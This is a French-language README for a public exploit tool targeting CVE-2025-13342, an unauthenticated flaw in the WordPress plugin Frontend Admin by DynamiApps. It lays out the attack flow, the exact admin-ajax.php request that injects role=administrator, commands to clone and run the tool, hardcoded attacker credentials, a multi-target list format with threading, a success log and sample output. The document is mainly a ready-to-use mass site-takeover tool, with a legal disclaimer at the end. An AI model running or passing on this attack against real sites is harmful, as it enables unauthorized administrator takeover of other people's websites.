
Frontend Admin by DynamiApps <= 3.28.20 - Mise à jour arbitraire d'options non authentifiée
Frontend Admin par DynamiApps <= 3.28.20 - Mise à jour arbitraire non authentifiée des options
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
| Champ | Détail |
|---|---|
| Identifiant CVE | CVE-2025-13342 |
| Score | 9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Affecté | Frontend Admin par DynamiApps ≤ 3.28.20 |
| Authentification | Aucune — entièrement non authentifié |
| Type | Vérification insuffisante des capacités + validation des entrées → écriture arbitraire d'options |
| CWE | CWE-284 · Contrôle d'accès inapproprié |
Ce qui se passe :
Le gestionnaire de sauvegarde ActionOptions::run() ne vérifie ni les capacités de l'utilisateur ni les entrées avant d'écrire dans wp_options. Un formulaire front-end ACF public devient un canal d'écriture ouvert. L'attaquant définit users_can_register=1 et default_role=administrator, puis enregistre un nouveau compte qui reçoit automatiquement le rôle Administrateur.
Cet outil contourne cette approche en deux étapes — il soumet directement la charge utile de formulaire forgée avec role=administrator injecté dans les champs de création d'utilisateur via acff[user][field_*], créant un compte administrateur en un seul appel AJAX.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
L'outil est interactif. Quatre questions vous seront posées :
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
Les identifiants sont définis en interne :
| Champ | Valeur |
|---|---|
| Nom d'utilisateur | Nxadmin1 |
[email protected] | |
| Mot de passe | NxAdmin_1337#KSA |
Un hôte par ligne — schéma optionnel :
https://target1.com
target2.com
http://target3.com
L'outil sonde 28 chemins par cible, dans l'ordre, et s'arrête au premier formulaire ACF valide :
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| Fichier | Contenu |
|---|---|
acf_success.txt | Créations d'administrateurs réussies confirmées |
Format :
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
Terminal :
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| Auteur | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
Cet outil est fourni uniquement pour la recherche en sécurité autorisée et à des fins pédagogiques.
L'auteur décline toute responsabilité en cas d'utilisation contre des systèmes sans autorisation écrite explicite du propriétaire.
L'accès non autorisé est illégal en vertu du CFAA, du CMA et des lois équivalentes dans le monde entier.
Vous êtes seul responsable de vos actions.